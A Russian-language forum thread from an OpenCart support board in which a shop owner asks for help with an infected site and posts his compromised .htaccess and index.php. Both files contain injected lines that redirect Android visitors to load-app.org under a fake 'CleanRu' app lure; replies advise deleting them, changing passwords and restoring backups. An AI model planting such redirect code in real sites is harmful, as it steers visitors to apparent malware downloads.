Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

Вирус на сайте


sasha123S

Recommended Posts

Сайт заражен вирусом. Недавно заметил. Хотел перезалить полностью сайт, не получилось. Чот делать? Кто сможет помочь?

Сайт: mi nu tа sh op . r u

Змінено користувачем sasha123S
Надіслати
Поділитися на інших сайтах


<p>Это .htaccess<br />

RewriteEngine on<br />

RewriteCond %{HTTP_USER_AGENT} "Android" [NC]<br />

RewriteRule ^(.*)$ <a class="bbc_url" href="">http://load-app.org/m/?mobile_version=CleanRu</a> [L,R=302]<br />

<br />

<br />

<br />

Options +FollowSymlinks<br />

Options -Indexes<br />

<br />

Order deny,allow<br />

Deny from all<br />

<br />

<br />

RewriteEngine On<br />

RewriteBase /<br />

RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L]<br />

RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L]<br />

RewriteCond %{REQUEST_FILENAME} !-f<br />

RewriteCond %{REQUEST_FILENAME} !-d<br />

RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)<br />

RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]<br />

<br />

# Редирект c www на без www<br />

RewriteCond %{HTTP_HOST} ^www.minuta-shop.ru<br />

RewriteRule ^(.*)$ http ://m inu ta-sh op .ru /$1 [R=301,L]<br />

# Редирект для главной (с /index.php на /)<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\ HTTP/<br />

RewriteRule ^index\.html$ / [R=301,L]<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/<br />

RewriteRule ^index\.php$ / [R=301,L]

</p>

Надіслати
Поділитися на інших сайтах


Это index.php

$ua = $_SERVER['HTTP_USER_AGENT'];

if(stripos("***$ua",'android') !== false){
header("Location: http://load-app.org/m/?mobile_version=CleanRu");
die();
}
?>

// Version
define('VERSION', '1.5.4.1');

error_reporting( E_ERROR );



// Configuration
require_once('config.php');

// Install
if (!defined('DIR_APPLICATION')) {
header('Location: install/index.php');
exit;
}

// VirtualQMOD
require_once('./vqmod/vqmod.php');
$vqmod = new VQMod();

// VQMODDED Startup
require_once($vqmod->modCheck(DIR_SYSTEM . 'startup.php'));

// Application Classes
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/customer.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/affiliate.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/currency.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/tax.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/weight.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/length.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/cart.php'));

// Registry
$registry = new Registry();

// Loader
$loader = new Loader($registry);
$registry->set('load', $loader);

// Config
$config = new Config();
$registry->set('config', $config);

// Database
$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$registry->set('db', $db);

// Store
if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
} else {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
}


if ($store_query->num_rows) {
$config->set('config_store_id', $store_query->row['store_id']);
} else {
$config->set('config_store_id', 0);
}

// Settings
$query = $db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC");

foreach ($query->rows as $setting) {
if (!$setting['serialized']) {
$config->set($setting['key'], $setting['value']);
} else {
$config->set($setting['key'], unserialize($setting['value']));
}
}

if (!$store_query->num_rows) {
$config->set('config_url', HTTP_SERVER);
$config->set('config_ssl', HTTPS_SERVER);
}

// Url
$url = new Url($config->get('config_url'), $config->get('config_use_ssl') ? $config->get('config_ssl') : $config->get('config_url'));
$registry->set('url', $url);

// Log
$log = new Log($config->get('config_error_filename'));
$registry->set('log', $log);

function error_handler($errno, $errstr, $errfile, $errline) {
global $log, $config;

switch ($errno) {
case E_NOTICE:
case E_USER_NOTICE:
$error = 'Notice';
break;
case E_WARNING:
case E_USER_WARNING:
$error = 'Warning';
break;
case E_ERROR:
case E_USER_ERROR:
$error = 'Fatal Error';
break;
default:
$error = 'Unknown';
break;
}

if ($config->get('config_error_display')) {
echo '' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '';
}

if ($config->get('config_error_log')) {
$log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
}

return true;
}

// Error Handler
set_error_handler('error_handler');

// Request
$request = new Request();
$registry->set('request', $request);

// Response
$response = new Response();
$response->addHeader('Content-Type: text/html; charset=utf-8');
$response->setCompression($config->get('config_compression'));
$registry->set('response', $response);

// Cache
$cache = new Cache();
$registry->set('cache', $cache);

// Session
$session = new Session();
$registry->set('session', $session);

// Language Detection
$languages = array();

$query = $db->query("SELECT * FROM " . DB_PREFIX . "language WHERE status = '1'");

foreach ($query->rows as $result) {
$languages[$result['code']] = $result;
}

$detect = '';

if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && ($request->server['HTTP_ACCEPT_LANGUAGE'])) {
$browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);

foreach ($browser_languages as $browser_language) {
foreach ($languages as $key => $value) {
if ($value['status']) {
$locale = explode(',', $value['locale']);

if (in_array($browser_language, $locale)) {
$detect = $key;
}
}
}
}
}

if (isset($session->data['language']) && array_key_exists($session->data['language'], $languages) && $languages[$session->data['language']]['status']) {
$code = $session->data['language'];
} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages) && $languages[$request->cookie['language']]['status']) {
$code = $request->cookie['language'];
} elseif ($detect) {
$code = $detect;
} else {
$code = $config->get('config_language');
}

if (!isset($session->data['language']) || $session->data['language'] != $code) {
$session->data['language'] = $code;
}

if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {
setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
}

$config->set('config_language_id', $languages[$code]['language_id']);
$config->set('config_language', $languages[$code]['code']);

// Language
$language = new Language($languages[$code]['directory']);
$language->load($languages[$code]['filename']);
$registry->set('language', $language);

// Document
$registry->set('document', new Document());

// Customer
$registry->set('customer', new Customer($registry));

// Affiliate
$registry->set('affiliate', new Affiliate($registry));

if (isset($request->get['tracking']) && !isset($request->cookie['tracking'])) {
setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/');
}

// Currency
$registry->set('currency', new Currency($registry));

// Tax
$registry->set('tax', new Tax($registry));

// Weight
$registry->set('weight', new Weight($registry));

// Length
$registry->set('length', new Length($registry));

// Cart
$registry->set('cart', new Cart($registry));

// Encryption
$registry->set('encryption', new Encryption($config->get('config_encryption')));

// Front Controller
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance'));

// SEO URL's
if (!$seo_type = $config->get('config_seo_url_type')) {
$seo_type = 'seo_url';
}
$controller->addPreAction(new Action('common/' . $seo_type));

// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
} else {
$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output();
?>

Надіслати
Поділитися на інших сайтах


В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Уже делал, все равно файлы эти добавляются. Сам не программист, сложно по логам сайта и FTP найти первоисточник. Может возьметесь помочь устранить эту проблему?

Надіслати
Поділитися на інших сайтах


Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Надіслати
Поділитися на інших сайтах

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Уже старался этим заниматься. Но ничего не получается. 

Пароли все поменял. Из backup восстановил сайт, но вирус все равно сидит на сайте. Видимо внедрили его раньше, чем был сделан последний backup. Нужен профессионал. Самому не получается решить проблему

Надіслати
Поділитися на інших сайтах


Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Надіслати
Поділитися на інших сайтах

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Надіслати
Поділитися на інших сайтах


еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

 

Вирус был не в /system/library/response.php Pascha, спасибо за помощь. Написал, что пришлось вручную чистить и искать причину заражения. 

Надіслати
Поділитися на інших сайтах


  • 1 month later...

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Добрый хостер какой то, если так наплевательски относится как к клиентам, так и к своей репутации, ведь зараженные сайты в его ведомстве ему кармы не прибавят... Меняйте по возможности. И желательно со встроенным антивирусом каким нибудь в админ-панели.

 

И поищите дыры на сайте, устранив следствие, Вы не устранили причину. Очень быстро эта зараза может появиться вновь.

 

P.S. И да, эталонные копии и бэкапы рулят ;)

Надіслати
Поділитися на інших сайтах


Створіть аккаунт або увійдіть для коментування

Ви повинні бути користувачем, щоб залишити коментар

Створити обліковий запис

Зареєструйтеся для отримання облікового запису. Це просто!

Зареєструвати аккаунт

Вхід

Уже зареєстровані? Увійдіть тут.

Вхід зараз

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.